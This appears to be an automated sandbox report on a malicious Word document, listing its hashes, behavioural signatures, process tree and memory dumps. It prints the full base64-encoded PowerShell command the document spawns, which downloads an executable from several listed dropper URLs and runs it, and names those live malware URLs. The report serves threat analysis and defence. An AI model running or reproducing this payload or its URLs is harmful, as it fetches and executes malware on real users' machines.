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Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/06/2024, 02:50

General

  • Target

    904e1365136041b958a2f407bcf6731b_JaffaCakes118.doc

  • Size

    179KB

  • MD5

    904e1365136041b958a2f407bcf6731b

  • SHA1

    5131b48088dd3d75da858e8810c5888673955b5e

  • SHA256

    7c81019f932c35ff188d4260fe0b23ba6cb27363922cbb8265a8f3121e26c32f

  • SHA512

    3220099489dbafcd74f26148137cb568fd1c5e666887a06ce54bb842033d5c2a7da2cd62f894850547ccf488dff504c8ce846a3827a762e7c3b0c1dfb4b63a72

  • SSDEEP

    1536:uasrbYasrb2rdi1Ir77zOH98Wj2gpng9+a9mSGIRK9b/WYjd2LO6h/QC27TOvY:crfrzOH98ipg+SGYK9TngLOm27TOvY

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://sasystemsuk.com/index_files/j9b/

exe.dropper

https://case.gonukkad.com/sys-cache/fmC/

exe.dropper

http://vandamebuilders.com/wp-includes/OEyjc9x/

exe.dropper

https://nilinkeji.com/online/Dmz/

exe.dropper

http://paganwitch.com/wp-admin/CmubpSk/

exe.dropper

http://www.ekramco.ir/english/fn/

exe.dropper

http://votesteve.us/closed_zone/Bk/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\904e1365136041b958a2f407bcf6731b_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4332
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -en JABRAGcAbgB1AHoAawBxAD0AKAAnAFkAJwArACcAMgAnACsAKAAnAHIAdQBqAGUAJwArACcAYQAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAUgBQAFIATwBGAEkATABlAFwASgBIAEEAaQBOAEcARwBcAGUANwBwAFoANQBfAFcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAYABVAGAAUgBJAHQAYAB5AHAAUgBvAFQAbwBjAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAsACcAKQArACgAJwAgAHQAJwArACcAbABzADEAMQAnACkAKwAnACwAIAAnACsAJwB0AGwAJwArACcAcwAnACkAOwAkAEUANQBuADkAMQBzAGoAIAA9ACAAKAAoACcAVAAnACsAJwAxADQAJwApACsAJwBnAG4AJwArACcAMAAnACkAOwAkAFkAeQA5AGoAeAAyAHkAPQAoACgAJwBFAGkAJwArACcAdQAnACkAKwAnAGsAdAAnACsAJwBlADEAJwApADsAJABDADYAcABxAHMAZwBuAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAJwArACcAMAB9AEoAaAAnACsAKAAnAGEAJwArACcAaQBuAGcAJwApACsAJwBnAHsAMAB9AEUANwAnACsAJwBwAHoANQBfAHcAewAwAH0AJwApACAALQBmACAAWwBDAGgAYQBSAF0AOQAyACkAKwAkAEUANQBuADkAMQBzAGoAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABDADMANQBrAHcAMQB4AD0AKAAnAEIAJwArACgAJwA2AG4AJwArACcAOQAnACkAKwAoACcAZAAnACsAJwBnAHEAJwApACkAOwAkAEYANgBuAHIAbwBlADEAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQBUAC4AVwBFAEIAQwBMAGkAZQBuAFQAOwAkAEoAbABtAHgAbgB4AGMAPQAoACgAJwBoAHQAdAAnACsAJwBwADoAJwArACcALwAvACcAKQArACgAJwBzAGEAJwArACcAcwB5ACcAKQArACcAcwB0ACcAKwAoACcAZQBtACcAKwAnAHMAdQBrACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvAGkAbgBkACcAKwAnAGUAJwArACcAeAAnACkAKwAoACcAXwBmACcAKwAnAGkAbABlACcAKQArACgAJwBzAC8AJwArACcAagAnACkAKwAnADkAJwArACgAJwBiAC8AKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwArACgAJwBzACcAKwAnADoALwAvACcAKQArACgAJwBjAGEAJwArACcAcwAnACsAJwBlAC4AZwBvACcAKQArACcAbgAnACsAJwB1ACcAKwAoACcAawBrAGEAZAAuAGMAJwArACcAbwAnACsAJwBtACcAKQArACcALwAnACsAKAAnAHMAJwArACcAeQBzACcAKQArACgAJwAtACcAKwAnAGMAYQAnACkAKwAnAGMAaAAnACsAKAAnAGUALwBmAG0AQwAvACcAKwAnACoAaAAnACkAKwAnAHQAJwArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAnAC8AJwArACgAJwAvAHYAJwArACcAYQAnACkAKwAoACcAbgAnACsAJwBkAGEAJwApACsAKAAnAG0AJwArACcAZQBiAHUAJwApACsAJwBpACcAKwAnAGwAZAAnACsAKAAnAGUAJwArACcAcgBzACcAKQArACgAJwAuAGMAJwArACcAbwBtAC8AdwBwACcAKQArACcALQAnACsAJwBpACcAKwAoACcAbgBjAGwAdQAnACsAJwBkAGUAcwAvACcAKwAnAE8AJwApACsAJwBFAHkAJwArACcAagBjACcAKwAoACcAOQB4AC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcABzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwBuAGkAbAAnACsAJwBpAG4AJwApACsAJwBrAGUAJwArACcAagAnACsAKAAnAGkAJwArACcALgBjAG8AbQAnACkAKwAoACcALwBvACcAKwAnAG4AbABpACcAKwAnAG4AZQAvACcAKQArACcARABtACcAKwAoACcAegAvACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAOgAvAC8AJwArACcAcABhACcAKQArACgAJwBnAGEAJwArACcAbgB3AGkAJwApACsAKAAnAHQAYwAnACsAJwBoAC4AJwApACsAKAAnAGMAbwBtAC8AdwAnACsAJwBwAC0AYQAnACkAKwAnAGQAJwArACcAbQBpACcAKwAoACcAbgAnACsAJwAvAEMAbQB1AGIAcABTACcAKwAnAGsAJwApACsAJwAvACcAKwAnACoAaAAnACsAJwB0AHQAJwArACcAcAA6ACcAKwAoACcALwAnACsAJwAvAHcAdwAnACsAJwB3AC4AZQBrACcAKQArACgAJwByACcAKwAnAGEAbQBjACcAKQArACcAbwAnACsAJwAuACcAKwAnAGkAcgAnACsAJwAvAGUAJwArACgAJwBuAGcAbAAnACsAJwBpAHMAaAAnACsAJwAvACcAKwAnAGYAbgAvACoAJwArACcAaAB0AHQAcAAnACkAKwAnADoALwAnACsAJwAvACcAKwAoACcAdgAnACsAJwBvAHQAZQBzAHQAJwApACsAKAAnAGUAJwArACcAdgBlAC4AdQBzAC8AJwApACsAKAAnAGMAJwArACcAbABvAHMAZQAnACkAKwAoACcAZAAnACsAJwBfAHoAbwAnACkAKwAoACcAbgBlAC8AJwArACcAQgAnACkAKwAnAGsALwAnACkALgAiAFMAcABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwBuAHAAOAAyAGEANAA9ACgAKAAnAEgAXwAnACsAJwBrACcAKQArACcAbAAxACcAKwAnADUAcgAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABOAGIAcgBnAG8AbwBoACAAaQBuACAAJABKAGwAbQB4AG4AeABjACkAewB0AHIAeQB7ACQARgA2AG4AcgBvAGUAMQAuACIAZABPAFcAbgBMAE8AQQBEAEYAYABpAGAAbABFACIAKAAkAE4AYgByAGcAbwBvAGgALAAgACQAQwA2AHAAcQBzAGcAbgApADsAJABCAHkAMQBvAHUAegBoAD0AKAAoACcAQQAyACcAKwAnAGkAJwApACsAKAAnADQAJwArACcAbgAxACcAKQArACcAeQAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAQwA2AHAAcQBzAGcAbgApAC4AIgBMAEUAbgBgAEcAVABIACIAIAAtAGcAZQAgADIAMAAxADkAMwApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACgAJABDADYAcABxAHMAZwBuACkAOwAkAEQAdwBnADEANABsAGMAPQAoACgAJwBKAF8AJwArACcAdwBxACcAKQArACcAbABzACcAKwAnAGgAJwApADsAYgByAGUAYQBrADsAJABMADcAcQByAGIANwBhAD0AKAAnAEYANwAnACsAJwBhADQAJwArACgAJwBhACcAKwAnAGMAdgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASAB0AHcAaQBsAGgAagA9ACgAKAAnAFEAcQBnACcAKwAnADEAJwApACsAKAAnAHYAMwAnACsAJwAxACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:5008

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD92E4.tmp\iso690.xsl

    Filesize

    263KB

    MD5

    ff0e07eff1333cdf9fc2523d323dd654

    SHA1

    77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

    SHA256

    3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

    SHA512

    b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_44dhg54y.rej.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4332-9-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4332-2-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp

    Filesize

    64KB

  • memory/4332-3-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp

    Filesize

    64KB

  • memory/4332-7-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4332-6-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp

    Filesize

    64KB

  • memory/4332-8-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp

    Filesize

    64KB

  • memory/4332-5-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4332-0-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp

    Filesize

    64KB

  • memory/4332-11-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4332-10-0x00007FFA27CD0000-0x00007FFA27CE0000-memory.dmp

    Filesize

    64KB

  • memory/4332-12-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4332-13-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4332-15-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4332-14-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4332-16-0x00007FFA27CD0000-0x00007FFA27CE0000-memory.dmp

    Filesize

    64KB

  • memory/4332-28-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4332-55-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4332-32-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4332-571-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4332-603-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4332-4-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4332-88-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4332-89-0x00007FFA6A44D000-0x00007FFA6A44E000-memory.dmp

    Filesize

    4KB

  • memory/4332-90-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4332-91-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4332-1-0x00007FFA6A44D000-0x00007FFA6A44E000-memory.dmp

    Filesize

    4KB

  • memory/4332-551-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4332-570-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4332-601-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp

    Filesize

    64KB

  • memory/4332-602-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp

    Filesize

    64KB

  • memory/4332-600-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp

    Filesize

    64KB

  • memory/4332-599-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp

    Filesize

    64KB

  • memory/5008-578-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/5008-572-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/5008-72-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/5008-73-0x000001C96D510000-0x000001C96D532000-memory.dmp

    Filesize

    136KB